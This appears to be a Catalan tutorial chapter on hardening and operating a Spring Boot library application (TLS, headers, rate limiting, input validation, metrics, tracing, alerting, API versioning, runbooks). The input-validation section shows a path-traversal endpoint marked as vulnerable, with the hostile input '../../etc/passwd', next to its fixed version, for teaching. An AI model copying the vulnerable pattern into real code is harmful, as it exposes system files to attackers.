    key-store-password: ${TLS_KEYSTORE_PASSWORD}
    key-store-type: PKCS12
    protocol: TLS
    enabled-protocols: TLSv1.3,TLSv1.2        # TLS 1.0 i 1.1 estan obsolets

A la pràctica, l'habitual és acabar el TLS en un proxy invers o un balancejador (nginx, Traefik, un Ingress). En aquest cas cal dir-li a Spring que confiï en les capçaleres del proxy:

server:
  forward-headers-strategy: framework     # respecta X-Forwarded-Proto i X-Forwarded-For

Capçaleres de seguretat, cadascuna amb el seu atac associat:

Capçalera Protegeix de Valor
Strict-Transport-Security Degradació a HTTP max-age=31536000; includeSubDomains
Content-Security-Policy XSS default-src 'self'; object-src 'none'
X-Content-Type-Options Endevinació del tipus MIME nosniff
X-Frame-Options Clickjacking DENY
Referrer-Policy Fuita d'URL strict-origin-when-cross-origin
Permissions-Policy Accés a càmera, micròfon… geolocation=(), camera=()

Límits de mida, perquè ningú no tombi el servei amb una petició enorme:

spring:
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 12MB
server:
  tomcat:
    max-http-form-post-size: 2MB
    max-swallow-size: 2MB
    connection-timeout: 20s
    threads:
      max: 200

Límit de taxa, amb Resilience4j (esmentat a 11-07):

@Component
public class FiltreLimitTaxa extends OncePerRequestFilter {

    private final Cache<String, Bucket> cubells = Caffeine.newBuilder()
            .expireAfterAccess(Duration.ofMinutes(10))
            .maximumSize(100_000)
            .build();

    @Override
    protected void doFilterInternal(HttpServletRequest p, HttpServletResponse r, FilterChain c)
            throws ServletException, IOException {

        String clau = clauDe(p);        // usuari autenticat, o IP si es anonim
        Bucket cubell = cubells.get(clau, k -> nouCubell(p));

        ConsumptionProbe sonda = cubell.tryConsumeAndReturnRemaining(1);
        if (sonda.isConsumed()) {
            r.setHeader("X-RateLimit-Remaining", String.valueOf(sonda.getRemainingTokens()));
            c.doFilter(p, r);
        } else {
            long esperaSegons = sonda.getNanosToWaitForRefill() / 1_000_000_000;
            r.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());        // 429
            r.setHeader(HttpHeaders.RETRY_AFTER, String.valueOf(esperaSegons));
            escriureProblema(r, "Massa peticions. Reintenta-ho en " + esperaSegons + " s.");
        }
    }

    private Bucket nouCubell(HttpServletRequest p) {
        // El login es limita MOLT mes: es la porta als atacs de forca bruta
        boolean esLogin = p.getRequestURI().startsWith("/api/auth/login");
        int perMinut = esLogin ? 5 : 100;
        return Bucket.builder()
                .addLimit(l -> l.capacity(perMinut).refillGreedy(perMinut, Duration.ofMinutes(1)))
                .build();
    }
}

  1. Validació de tota entrada externa

Reprèn 09-03 i 12-04, i s'enuncia com una regla:

Tota entrada externa és hostil fins que es demostri el contrari. Externa inclou: cossos de peticions, paràmetres, capçaleres, galetes, fitxers pujats, respostes d'API externes, missatges de cues, arguments de línia d'ordres i variables d'entorn.

Entrada Risc Validació
Cos JSON Injecció, camps inesperats @Valid + DTO tancat (12-04)
Paràmetre de camí Path traversal, injecció Convertidor tipat + patró
Nom de fitxer pujat ../../etc/passwd Nom generat, mai el de l'usuari
Contingut de fitxer Zip bomb, programari maliciós, XXE Límit de mida, tipus verificat
Resposta d'API externa Dades malformades o malicioses DTO tipat, límits, temps d'espera
Capçalera Host Enverinament de memòria cau Llista blanca de hosts permesos

El cas del path traversal, que és l'error més fàcil de cometre:

// VULNERABLE: nom = "../../../etc/passwd"
@GetMapping("/api/informes/{nom}")
public Resource descarregar(@PathVariable String nom) throws IOException {
    return new FileSystemResource(Path.of("/var/bibliotech/informes/", nom));
}
// SEGUR: normalitzar i verificar que continua dins del directori permes
private static final Path BASE = Path.of("/var/bibliotech/informes").toAbsolutePath().normalize();

@GetMapping("/api/informes/{nom}")
public Resource descarregar(@PathVariable @Pattern(regexp = "[a-zA-Z0-9._-]{1,64}") String nom)
        throws IOException {

    Path demanat = BASE.resolve(nom).normalize();

    // La comprovacio DECISIVA: despres de normalitzar, continua dins de BASE?
    if (!demanat.startsWith(BASE)) {
        throw new AccessDeniedException("Cami no permes");
    }
    if (!Files.isRegularFile(demanat)) {
        throw new RecursNoTrobatException(nom);
    }
    return new FileSystemResource(demanat);
}

I l'XXE (XML External Entity), que afecta qualsevol processament d'XML:

// SEGUR: desactivar les entitats externes abans de llegir qualsevol XML
DocumentBuilderFactory fabrica = DocumentBuilderFactory.newInstance();
fabrica.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
fabrica.setFeature("http://xml.org/sax/features/external-general-entities", false);
fabrica.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
fabrica.setXIncludeAware(false);
fabrica.setExpandEntityReferences(false);

  1. Advertència sobre seguretat real

⚠️ ADVERTÈNCIA IMPORTANT

El que has après en aquesta lliçó és una base sòlida, i no és suficient per posar en producció un sistema que gestioni dades personals, credencials o diners.

Un curs et pot ensenyar els mecanismes: BCrypt, JWT, autorització, validació, capçaleres. No pot substituir:

  • Una revisió per part d'un professional de seguretat. Les vulnerabilitats reals solen ser a les interaccions entre components, no en un mecanisme aïllat. Algú que s'hi dedica veu coses que qui va escriure el codi no pot veure.
  • Una prova de penetració abans d'exposar el sistema a internet.
  • El compliment de la normativa aplicable. A la Unió Europea, el RGPD imposa obligacions concretes i amb sancions: base legal per tractar les dades, minimització, dret d'accés, rectificació i supressió, notificació de bretxes en 72 hores, avaluacions d'impacte, i registre d'activitats de tractament. Si BiblioTech desa noms, correus i hàbits de lectura d'empleats, està tractant dades personals i el RGPD s'hi aplica.
  • Una política de gestió d'incidents. Què es fa quan —no si— es detecta una bretxa: qui decideix, a qui s'avisa, com es roten les credencials, com es comunica.
  • Formació contínua. Les tècniques d'atac evolucionen. El que era segur el 2020 pot no ser-ho avui.

Regla pràctica: si el teu sistema gestiona dades de persones reals, credencials o pagaments, no l'exposis sense que algú amb formació específica en seguretat l'hagi revisat. No és pessimisme: és que el cost d'equivocar-se el paguen tercers que van confiar en tu.

I una regla més, que és la que evita més incidents: no implementis criptografia pròpia. Fes servir BCrypt o Argon2 per a contrasenyes, TLS per al transport, i llibreries establertes per a tota la resta. Tots els sistemes criptogràfics trencats de la història van començar amb algú convençut que la seva idea era bona.


Part II: Observabilitat

  1. Observabilitat: els tres pilars

El monitoratge respon a preguntes que ja sabies que faries. L'observabilitat permet respondre a preguntes que no havies previst. La diferència importa quan el problema és nou, que és sempre.

Pilar Què és Respon a Cost Retenció
Registres Esdeveniments discrets amb context «Què ha passat exactament en aquesta petició?» Alt (volum) Dies o setmanes
Mètriques Valors numèrics agregats en el temps «Quantes peticions per segon? Quina latència?» Baix Mesos o anys
Traces El recorregut d'una petició pel sistema «En quin component se n'ha anat el temps?» Mitjà (mostreig) Dies

Per què no n'hi ha prou amb els registres, que és el que gairebé tothom té i res més:

Pregunta Ho responen els logs?
Quantes peticions per segon? Comptant línies: car i aproximat
Quina és la latència del percentil 99? Pràcticament impossible
Ha empitjorat respecte de la setmana passada? No, si ja s'han rotat
S'està esgotant el pool de connexions? Només si algú va pensar a registrar-ho
Què triga més, la base de dades o l'API externa? Molt laboriosament
Quanta memòria queda abans del pròxim GC? No

I hi ha un problema afegit: registrar al nivell necessari per respondre a aquestes preguntes produeix tal volum que esdevé inassumible en cost i en soroll. Les mètriques són barates perquè agreguen; els registres són cars perquè conserven cada esdeveniment.

  1. Actuator i Micrometer

Micrometer és a les mètriques el que SLF4J és al logging (11-07): una façana que desacobla el teu codi del sistema de mètriques concret. Escrius contra Micrometer i decideixes després si van a Prometheus, Datadog, CloudWatch o New Relic.

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-registry-prometheus</artifactId>
  <scope>runtime</scope>
</dependency>
management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics,prometheus,loggers
  endpoint:
    health:
      probes: { enabled: true }
      show-details: when-authorized
  metrics:
    tags:
      application: bibliotech          # etiqueta comuna a TOTES les mètriques
      entorn: ${SPRING_PROFILES_ACTIVE:desconegut}
  observations:
    key-values:
      version: ${bibliotech.version}
  prometheus:
    metrics:
      export:
        enabled: true

Amb això, Spring Boot ja exposa desenes de mètriques sense escriure codi:

Mètrica Què mesura
http.server.requests Peticions: compte, latència, per ruta, mètode i estat
jvm.memory.used Memòria per regió (10-07)
jvm.gc.pause Pauses del recol·lector
jvm.threads.live Fils vius
hikaricp.connections.active Connexions del pool en ús
hikaricp.connections.pending Fils esperant connexió
spring.data.repository.invocations Crides a repositoris
system.cpu.usage CPU
logback.events Esdeveniments de log per nivell

Els quatre tipus d'instrument:

Tipus Què mesura Exemple
Counter Valor que només creix Préstecs creats
Gauge Valor instantani Materials disponibles
Timer Durada i freqüència Temps de càlcul de multes
DistributionSummary Distribució de valors Mida de les importacions

  1. Mètriques de negoci

Les mètriques tècniques diuen si el sistema està sa. Les de negoci diuen si està fent la seva feina, i són les que detecten les fallades silencioses.

@Service
public class MetriquesBiblioTech {

    private final Counter prestecsCreats;
    private final Counter prestecsRebutjats;
    private final Counter multesEmeses;
    private final Timer tempsCalculMultes;
    private final DistributionSummary quantitatMultes;

    public MetriquesBiblioTech(MeterRegistry registre, RepositoriMaterials materials) {

        this.prestecsCreats = Counter.builder("bibliotech.prestecs.creats")
                .description("Prestecs creats correctament")
                .baseUnit("prestecs")
                .register(registre);

        this.prestecsRebutjats = Counter.builder("bibliotech.prestecs.rebutjats")
                .description("Intents de prestec rebutjats")
                .register(registre);

        this.multesEmeses = Counter.builder("bibliotech.multes.emeses")
                .register(registre);

        this.tempsCalculMultes = Timer.builder("bibliotech.multes.calcul")
                .publishPercentiles(0.5, 0.95, 0.99)
                .register(registre);

        this.quantitatMultes = DistributionSummary.builder("bibliotech.multes.quantitat")
                .baseUnit("euros")
                .publishPercentiles(0.5, 0.95)
                .register(registre);

        // Gauge: es consulta quan es recull la metrica.
        // COMPTE: la funcio ha de ser BARATA. Aqui una consulta desada en cau, no un count() a la BD.
        Gauge.builder("bibliotech.materials.disponibles", materials::comptarDisponiblesEnCau)
                .description("Materials amb almenys una unitat lliure")
                .register(registre);
    }

    /** Amb etiqueta de motiu: permet veure PER QUE es rebutgen. */
    public void prestecRebutjat(String motiu) {
        prestecsRebutjats.increment();
        Counter.builder("bibliotech.prestecs.rebutjats.per.motiu")
                .tag("motiu", motiu)        // limit_excedit, sense_unitats, multes_pendents
                .register(registre)
                .increment();
    }
}

I l'ús, integrat al cas d'ús:

@Service
public class GestorPrestecs {

    @Timed(value = "bibliotech.prestecs.duracio", percentiles = {0.5, 0.95, 0.99})
    @Transactional
    public Prestec prestar(Isbn isbn, Long idEmpleat, Integer dies) {
        try {
            Prestec prestec = crearPrestec(isbn, idEmpleat, dies);
            metriques.prestecCreat(prestec.getMaterial().tipus());
            return prestec;
        } catch (LimitPrestecsExceditException e) {
            metriques.prestecRebutjat("limit_excedit");
            throw e;
        } catch (MaterialNoDisponibleException e) {
            metriques.prestecRebutjat("sense_unitats");
            throw e;
        }
    }
}

Avís sobre la cardinalitat. No facis servir mai com a etiqueta un valor amb molts valors possibles: identificador d'usuari, ISBN, adreça IP, marca de temps. Cada combinació d'etiquetes crea una sèrie temporal diferent, i una etiqueta amb 100.000 valors crea 100.000 sèries. És la manera més ràpida de tombar un Prometheus. Etiquetes bones: tipus de material (3 valors), motiu de rebuig (5), estat HTTP (10). Etiquetes prohibides: idEmpleat, isbn, url completa amb paràmetres.

  1. Prometheus i Grafana

Prometheus recull mètriques mitjançant scraping: consulta periòdicament l'endpoint que exposa l'aplicació.

$ curl -s localhost:8080/actuator/prometheus | grep bibliotech_prestecs
# HELP bibliotech_prestecs_creats_total Prestecs creats correctament
# TYPE bibliotech_prestecs_creats_total counter
bibliotech_prestecs_creats_total{application="bibliotech",entorn="prod",tipus="LLIBRE"} 1247.0
bibliotech_prestecs_creats_total{application="bibliotech",entorn="prod",tipus="DVD"} 89.0
# prometheus.yml
global:
  scrape_interval: 15s

scrape_configs:
  - job_name: bibliotech
    metrics_path: /actuator/prometheus
    static_configs:
      - targets: ['bibliotech:8080']

rule_files:
  - alertes.yml

Consultes PromQL per a les preguntes que de debò es fan:

# Peticions per segon, per endpoint
sum(rate(http_server_requests_seconds_count[5m])) by (uri)

# Latència del percentil 95
histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))

# Taxa d'error (5xx sobre el total)
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/ sum(rate(http_server_requests_seconds_count[5m]))

# Ús del pool de connexions
hikaricp_connections_active / hikaricp_connections_max

# Préstecs per hora
sum(rate(bibliotech_prestecs_creats_total[1h])) * 3600

# Memòria del heap en ús, en percentatge
sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"})

Afegir a compose.yaml (12-06) la pila completa per a desenvolupament:

  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./observabilitat/prometheus.yml:/etc/prometheus/prometheus.yml:ro
      - ./observabilitat/alertes.yml:/etc/prometheus/alertes.yml:ro
    ports: ["9090:9090"]

  grafana:
    image: grafana/grafana:latest
    environment:
      GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
    volumes:
      - ./observabilitat/grafana:/etc/grafana/provisioning:ro
    ports: ["3000:3000"]
    depends_on: [prometheus]

  1. Els quatre senyals d'or

De totes les mètriques possibles, n'hi ha quatre que responen al 90 % de les preguntes operatives. Vénen del llibre d'SRE de Google i són el punt de partida de qualsevol panell:

Senyal Què mesura A BiblioTech Alerta si
Latència Temps de resposta p95 i p99 d'http.server.requests p95 > 500 ms durant 5 min
Trànsit Demanda Peticions per segon Caiguda del 50 % respecte de l'habitual
Errors Peticions fallides Taxa de 5xx > 1 % durant 5 min
Saturació Com de ple està el sistema Pool de connexions, memòria, CPU Pool > 80 %, heap > 85 %

Dos matisos que importen més del que sembla:

Mesura percentils, no mitjanes. La mitjana amaga exactament els casos que molesten. Amb 1.000 peticions de 50 ms i 10 de 8 segons, la mitjana és 129 ms —sembla bé— i hi ha deu usuaris convençuts que el sistema està trencat. El p99 sí que ho veu.

La latència dels errors es mesura a part. Un 500 que respon en 3 ms millora artificialment la mitjana de latència. Separa sempre la latència de les peticions correctes i la de les fallides.

  1. Traces distribuïdes

Quan una petició travessa diversos components, els registres dispersos no diuen on se n'ha anat el temps. Les traces segueixen la petició d'extrem a extrem.

<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
  <groupId>io.opentelemetry</groupId>
  <artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>
management:
  tracing:
    sampling:
      probability: 0.1        # 10 % de les peticions: cost baix, mostra suficient
  otlp:
    tracing:
      endpoint: http://tempo:4318/v1/traces

logging:
  pattern:
    # traceId i spanId a CADA línia de log: així s'uneix una traça amb els seus registres
    level: "%5p [${spring.application.name},%X{traceId:-},%X{spanId:-}]"

Una traça de POST /api/prestecs:

Trace a3f7e91c4b2d8f6a  ─── total: 187 ms
├── http POST /api/prestecs                                 187 ms
│   ├── GestorPrestecs.prestar                              184 ms
│   │   ├── select material where isbn = ?                    4 ms
│   │   ├── select count(*) from prestecs where …             3 ms
│   │   ├── PassarelaMetadades.cercar (HTTP extern)         142 ms  ← EL CULPABLE
│   │   ├── insert into prestecs                              6 ms
│   │   └── NotificadorAvisos.notificar                      27 ms
│   └── serialitzacio JSON                                    2 ms

D'un cop d'ull: el 76 % del temps se'n va en una crida HTTP externa. Sense traces, això són hores d'instrumentació manual.

I aquí es cobra el MDC de 11-07. El traceId que Micrometer Tracing propaga és el mateix identificador de correlació que ja vas posar al MDC, el mateix que apareix al ProblemDetail de 12-04, i el mateix que retorna la CLI al seu identificador d'incidència (12-03). Un usuari reporta un problema amb l'identificador a3f7e91c; amb ell tens la traça completa, tots els registres d'aquella petició i el punt exacte on va fallar.

Traces pròpies allà on calguin:

@Service
public class EnriquidorCataleg {

    private final ObservationRegistry registre;

    public void enriquir(List<Material> materials) {
        Observation.createNotStarted("bibliotech.enriquir", registre)
                .lowCardinalityKeyValue("origen", "api-metadades")
                .highCardinalityKeyValue("quantitat", String.valueOf(materials.size()))
                .observe(() -> {
                    materials.forEach(this::enriquirUn);
                });
    }
}

  1. Registres en producció

En producció, els registres han de ser estructurats. Un log en text pla obliga les eines a endevinar; un en JSON es consulta com una base de dades.

<!-- logback-spring.xml, reprenent 11-07 -->
<configuration>

  <springProfile name="dev">
    <appender name="CONSOLA" class="ch.qos.logback.core.ConsoleAppender">
      <encoder>
        <pattern>%d{HH:mm:ss.SSS} %highlight(%-5level) [%X{traceId:-}] %cyan(%logger{25}) - %msg%n</pattern>
      </encoder>
    </appender>
    <root level="INFO"><appender-ref ref="CONSOLA"/></root>
  </springProfile>

  <springProfile name="prod">
    <appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
      <encoder class="net.logstash.logback.encoder.LogstashEncoder">
        <includeMdcKeyName>traceId</includeMdcKeyName>
        <includeMdcKeyName>spanId</includeMdcKeyName>
        <includeMdcKeyName>usuariId</includeMdcKeyName>
        <customFields>{"aplicacio":"bibliotech","entorn":"prod"}</customFields>
        <fieldNames>
          <timestamp>marca_temps</timestamp>
          <message>missatge</message>
        </fieldNames>
      </encoder>
    </appender>

    <!-- Asincron: registrar NO ha de frenar les peticions -->
    <appender name="ASINCRON" class="ch.qos.logback.classic.AsyncAppender">
      <appender-ref ref="JSON"/>
      <queueSize>2048</queueSize>
      <discardingThreshold>0</discardingThreshold>   <!-- no descartar WARN ni ERROR -->
      <neverBlock>true</neverBlock>                  <!-- amb saturacio, descartar abans que bloquejar -->
    </appender>

    <root level="INFO"><appender-ref ref="ASINCRON"/></root>
    <logger name="AUDITORIA" level="INFO" additivity="false">
      <appender-ref ref="ASINCRON"/>
    </logger>
  </springProfile>
</configuration>
{
  "marca_temps": "2026-08-05T10:23:45.123Z",
  "level": "INFO",
  "logger_name": "com.nexussoftware.bibliotech.aplicacio.GestorPrestecs",
  "missatge": "Prestec creat id=42 isbn=978-0000000001",
  "traceId": "a3f7e91c4b2d8f6a",
  "spanId": "8f6a2b1c",
  "usuariId": "1",
  "aplicacio": "bibliotech",
  "entorn": "prod"
}

En contenidors, escriu sempre a la sortida estàndard. No a fitxers: el contenidor és efímer (12-06) i l'orquestrador ja recull la sortida estàndard i l'envia a l'agregador (Loki, Elasticsearch, CloudWatch).

Què NO registrar, mai:

No registrar Motiu
Contrasenyes, ni tan sols per depurar Queden a l'agregador durant mesos
Tokens, claus d'API, galetes de sessió Robables amb accés de només lectura al log
Números de targeta, DNI, dades de salut RGPD i PCI-DSS
Cossos complets de peticions Solen portar tot l'anterior
Dades personals innecessàries Minimització del RGPD
Dins d'un bucle sobre 50.000 elements Cost i soroll

Retenció, amb criteri de cost i de normativa:

Tipus Retenció Motiu
DEBUG No es registra en producció Volum
INFO 7-14 dies Diagnòstic recent
WARN / ERROR 30-90 dies Anàlisi de tendències
Auditoria 1-7 anys Obligació legal
Mètriques 13 mesos Comparar amb l'any anterior

  1. Alertes útils enfront del soroll

Una alerta que s'ignora és pitjor que no tenir-la: entrena l'equip a ignorar-les totes.

Alerta bona Alerta dolenta
Requereix acció humana ara És informativa
Indica impacte en l'usuari Indica una causa que pot no importar
Rara i creïble Freqüent i amb falsos positius
Diu què cal fer Només diu què ha passat
Té un procediment associat Ningú no sap què fer-ne
# alertes.yml
groups:
  - name: bibliotech
    rules:

      # ✅ BONA: impacte directe en usuaris, requereix acció
      - alert: TaxaErrorsAlta
        expr: |
          sum(rate(http_server_requests_seconds_count{status=~"5..",application="bibliotech"}[5m]))
          / sum(rate(http_server_requests_seconds_count{application="bibliotech"}[5m])) > 0.01
        for: 5m
        labels: { severitat: critica }
        annotations:
          summary: "Més de l'1 % de les peticions fallen amb 5xx"
          descripcio: "Taxa actual: {{ $value | humanizePercentage }}"
          accio: "Revisa els logs amb severity=ERROR i les traces del darrer desplegament"
          runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#errors-5xx"

      # ✅ BONA: prediu una fallada abans que passi
      - alert: PoolDeConnexionsEsgotantse
        expr: hikaricp_connections_pending{application="bibliotech"} > 5
        for: 3m
        labels: { severitat: alta }
        annotations:
          summary: "{{ $value }} fils esperant connexió a la base de dades"
          accio: "Busca consultes lentes; considera apujar maximum-pool-size"

      # ✅ BONA: detecta una fallada SILENCIOSA
      - alert: SensePrestecsEnHorariLaboral
        expr: |
          sum(rate(bibliotech_prestecs_creats_total[30m])) == 0
          and on() (hour() >= 8 < 18) and on() (day_of_week() > 0 < 6)
        for: 30m
        labels: { severitat: mitjana }
        annotations:
          summary: "Ni un sol préstec en 30 minuts en horari laboral"
          descripcio: "El sistema respon, però potser hi ha una fallada funcional"

      # ❌ DOLENTA: no implica impacte i es dispara constantment
      # - alert: UsDeCpuAlt
      #   expr: system_cpu_usage > 0.8
      #   Un pic de CPU de 30 segons no requereix que ningú s'aixequi.

      # ❌ DOLENTA: informativa, no accionable
      # - alert: DesplegamentRealitzat
      #   Això va a un canal de notificacions, no a una alerta.

L'alerta de «cap préstec en horari laboral» és la més interessant de les tres, perquè detecta el tipus de fallada que cap mètrica tècnica no veu: el sistema respon 200 a tot, la latència és perfecta, la CPU està tranquil·la… i una regla de negoci trencada impedeix que ningú pugui prestar res.

Nota: SLI, SLO i pressupost d'error. Un SLI (indicador) és una mètrica que mesura l'experiència de l'usuari: per exemple, «percentatge de peticions correctes per sota de 300 ms». Un SLO (objectiu) és la meta: «99,5 % mensual». El pressupost d'error és el que queda: amb un 99,5 %, pots fallar el 0,5 % del mes, és a dir, unes 3,6 hores. La seva utilitat és que converteix una discussió subjectiva en una decisió amb dades: si la primera setmana has consumit el 80 % del pressupost, es congelen les funcionalitats noves i es dedica l'esforç a la fiabilitat. I si portes sis mesos sense gastar-lo, probablement estàs essent massa conservador i pots desplegar més sovint. Un SLO del 100 % no és un objectiu ambiciós: és un objectiu mal definit, perquè el seu cost és infinit.

  1. El quadre de comandament de BiblioTech

Un panell de Grafana amb tres files, ordenades pel que es mira primer:

Fila Panells Per a qui
Salut Disponibilitat, taxa d'error, p95 i p99, peticions per segon Tothom, d'un cop d'ull
Recursos Heap, pauses de GC, fils, pool de connexions, CPU Qui diagnostica
Negoci Préstecs/hora, devolucions, multes emeses, materials disponibles, rebutjos per motiu Producte i operacions
{
  "title": "BiblioTech — Salut",
  "panels": [
    {
      "title": "Taxa d'error (5xx)",
      "targets": [{ "expr": "sum(rate(http_server_requests_seconds_count{status=~\"5..\"}[5m])) / sum(rate(http_server_requests_seconds_count[5m]))" }],
      "thresholds": [{ "value": 0.01, "color": "red" }]
    },
    {
      "title": "Latència p95 per endpoint",
      "targets": [{ "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))" }]
    },
    {
      "title": "Préstecs per hora",
      "targets": [{ "expr": "sum(rate(bibliotech_prestecs_creats_total[1h])) * 3600" }]
    },
    {
      "title": "Rebutjos per motiu",
      "targets": [{ "expr": "sum(rate(bibliotech_prestecs_rebutjats_per_motiu_total[15m])) by (motiu)" }]
    }
  ]
}

I una regla de disseny de panells: si un panell no ha servit mai per prendre una decisió, treu-lo. Un quadre de comandament amb quaranta gràfiques no es mira; un amb vuit, sí.


Part III: Evolució

  1. Versionat de l'API i depreciació

Tan bon punt un client extern consumeix la teva API, el contracte deixa de ser teu. Canviar-lo trenca sistemes aliens.

Estratègia Exemple Avantatges Inconvenients
A l'URI /api/v1/materials Explícita, es pot desar en cau, fàcil d'encaminar Duplica rutes; poc «REST pur»
Capçalera pròpia X-Api-Version: 2 URI neta Invisible; difícil de provar amb el navegador
Negociació de contingut Accept: application/vnd.bibliotech.v2+json La més «correcta» Complexa d'usar i de depurar
Paràmetre /api/materials?versio=2 Molt simple Es barreja amb els filtres
Sense versió /api/materials Sense cost Només viable si mai no hi ha canvis incompatibles

Recomanació per a BiblioTech: versió a l'URI. No és la més elegant, és la més pràctica: es veu en qualsevol log, es prova amb curl, s'encamina al proxy i qualsevol l'entén.

El més important no és l'estratègia, sinó saber quins canvis trenquen i quins no:

Canvi Trenca?
Afegir un camp a la resposta No (si els clients ignoren el que desconeixen)
Afegir un paràmetre opcional No
Afegir un endpoint No
Eliminar un camp de la resposta
Reanomenar un camp
Canviar el tipus d'un camp
Fer obligatori un camp opcional
Canviar un codi d'estat
Restringir un rang de valors

La primera fila és la clau: si els teus clients ignoren els camps desconeguts, pots afegir sense trencar res. Per això @JsonIgnoreProperties(ignoreUnknown = true) d'11-07 no és un detall: és el que permet que l'API evolucioni.

Depreciació ordenada, en quatre fases:

@GetMapping("/api/v1/materials/{isbn}")
@Deprecated(since = "1.5.0", forRemoval = true)
@Operation(deprecated = true,
           summary = "[OBSOLET] Fes servir /api/v2/materials/{isbn}",
           description = "S'eliminara el 2027-01-01. Canvis a v2: el camp 'disponible' "
                       + "(boolea) es substitueix per 'unitatsDisponibles' (enter).")
public ResponseEntity<MaterialResponseV1> perIsbnV1(@PathVariable Isbn isbn) {
    return ResponseEntity.ok()
            .header("Deprecation", "true")                                    // RFC 8594
            .header("Sunset", "Fri, 01 Jan 2027 00:00:00 GMT")
            .header("Link", "</api/v2/materials/" + isbn + ">; rel=\"successor-version\"")
            .body(MaterialResponseV1.desDe(cataleg.perIsbn(isbn).orElseThrow()));
}
Fase Durada Què es fa
1. Anunci Publicar v2, documentar la migració, avisar els clients
2. Depreciació 6-12 mesos v1 funciona, amb capçaleres Deprecation i Sunset; mesurar-ne l'ús
3. Avís final 1 mes Contactar directament amb qui continuï fent servir v1
4. Retirada v1 retorna 410 Gone amb enllaç a v2

I una mètrica que fa que tot això funcioni:

@Component
public class MetriquesVersioApi {
    @EventListener
    public void alFerServirV1(PeticioV1Event esdeveniment) {
        Counter.builder("bibliotech.api.v1.us")
                .tag("client", esdeveniment.identificadorClient())    // baixa cardinalitat
                .register(registre)
                .increment();
    }
}

Sense aquesta mètrica, retirar v1 és una aposta. Amb ella, saps exactament qui queda i el pots trucar.

  1. Deute tècnic i actualitzacions

Gestió del deute. Reprenent 12-05, el deute es gestiona fent-lo visible:

Pràctica Com
Registrar-lo Incidències amb etiqueta deute-tecnic i el seu cost estimat
Quantificar-lo «Això ens costa 2 h per sprint» és un argument; «és lleig» no ho és
Pressupostar-lo Un 15-20 % de la capacitat de cada iteració
Pagar-lo on fa mal Refactoritzar el que es toca sovint, no el que és lleig i quiet
Prevenir-lo Clean as You Code de 12-05

Actualitzar Java. El calendari de suport:

Versió Tipus Suport fins
Java 17 LTS 2029
Java 21 LTS 2031
Java 25 LTS ~2033
Intermèdies (22, 23, 24…) 6 mesos La següent

Estratègia raonable: producció en LTS, i provar cada versió intermèdia a CI (la matriu de 12-05) per detectar problemes amb antelació.

Actualitzar Spring Boot, que és el que sol donar més feina:

Tipus Exemple Risc Freqüència
Pedaç 3.3.4 → 3.3.5 Molt baix. Correccions de seguretat Mensual
Menor 3.3 → 3.4 Baix. Algunes depreciacions Cada 6 mesos
Major 2.7 → 3.0 Alt: javaxjakarta, Java 17 mínim Amb planificació
./mvnw versions:display-dependency-updates       # quines dependències tenen versió nova
./mvnw versions:display-plugin-updates
./mvnw versions:display-property-updates

Procediment segur per a una actualització major, que és el que evita les setmanes perdudes:

  1. Llegir les notes de migració oficials, senceres. No és opcional.
  2. Branca pròpia, només per a l'actualització. Sense barrejar-hi funcionalitats.
  3. Pujar una versió menor cada vegada (3.1 → 3.2 → 3.3), no de cop.
  4. Executar la suite completa a cada salt.
  5. Corregir depreciacions abans de pujar a la major següent.
  6. Desplegar a preproducció i vigilar mètriques 48 hores.
  7. Producció amb blau-verd (12-06), a punt per fer tornada enrere.

I una eina que estalvia molta feina mecànica: OpenRewrite aplica receptes de migració automàticament.

./mvnw org.openrewrite.maven:rewrite-maven-plugin:run \
  -Drewrite.activeRecipes=org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_3

  1. Documentació que sobreviu

Tota documentació queda obsoleta. L'única que no ho fa és la que es genera o es verifica automàticament.

Document On Com sobreviu
README Arrel del repositori CI executa les seves ordres d'arrencada
OpenAPI Generat del codi Es genera; no pot mentir
ADR docs/adr/ Immutables per disseny (12-01)
Javadoc del domini Al codi Es llegeix en fer servir la classe
Runbooks Wiki, enllaçats des de les alertes Es revisen després de cada incident
Diagrames d'arquitectura docs/, com a codi (Mermaid, PlantUML) Es revisen al PR
Wiki amb «com funciona el sistema» No sobreviu. Evita-la

Un runbook és el que més s'agraeix a les tres de la matinada:

# Runbook: TaxaErrorsAlta

## Què significa
Més de l'1 % de les peticions retornen 5xx durant 5 minuts.

## Impacte
Usuaris rebent errors. Prioritat alta.

## Diagnòstic
1. Hi ha hagut cap desplegament en la darrera hora?
   `kubectl rollout history deployment/bibliotech -n produccio`
   → Si sí, **la primera hipòtesi és aquesta**: `kubectl rollout undo`
2. Quin endpoint falla?
   Grafana → BiblioTech Salut → «Errors per endpoint»
3. Quina excepció?
   `{aplicacio="bibliotech"} | json | level="ERROR"` a Loki, darrers 15 min
4. La base de dades respon?
   `curl -s $BASE/actuator/health | jq .components.db`
5. El pool està saturat?
   Grafana → Recursos → «Connexions pendents»

## Causes freqüents
| Símptoma | Causa | Solució |
|---|---|---|
| Errors després d'un desplegament | Regressió | `kubectl rollout undo` |
| `CannotGetJdbcConnection` | BD caiguda o pool esgotat | Comprovar la BD; buscar consultes lentes |
| `SocketTimeoutException` a metadades | API externa caiguda | Activar el mode degradat |
| OOMKilled als pods | Memòria insuficient | Apujar el límit; buscar fuites (10-07) |

## Escalat
Sense resoldre en 30 min → avisar el responsable de guàrdia.

  1. Com fer créixer BiblioTech

